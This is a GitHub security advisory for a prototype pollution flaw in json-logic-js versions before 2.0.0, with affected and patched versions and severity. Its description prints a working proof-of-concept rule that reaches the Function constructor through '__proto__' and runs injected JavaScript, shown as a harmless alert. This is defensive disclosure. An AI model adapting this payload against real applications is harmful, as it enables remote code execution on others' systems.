Skip to content

Prototype Pollution in json-logic-js

High severity GitHub Reviewed Published Nov 12, 2020 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm json-logic-js (npm)

Affected versions

< 2.0.0

Patched versions

2.0.0

Description

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}

References

Reviewed Nov 12, 2020
Published to the GitHub Advisory Database Nov 12, 2020
Last updated Jan 9, 2023

Severity

High

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-m9hw-7xfv-wqg7

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.